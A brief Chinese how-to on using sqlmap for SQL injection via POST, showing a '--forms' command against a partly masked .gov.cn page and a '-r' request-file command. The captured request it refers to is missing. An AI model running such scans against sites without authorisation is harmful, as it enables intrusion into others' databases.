sqlmap的POST注入

第一种方式， 就是让sqlmap去自动获取表单:

sqlmap -u "http://www.xxxxxxxx.gov.cn/bxcxnew1.aspx" --forms

一般情况下就一直按回车就好了。

第二种， 爪好POST包后存在一个文件中， 再用 -r 参数读取， 这种方式的好处是不易出错， 当一个页面有多个表单时， 能正确指引。

把以上内存复制保存， 再用 -r  读取就行了。

eg:

 sqlmap -r /root/Desktop/post --batch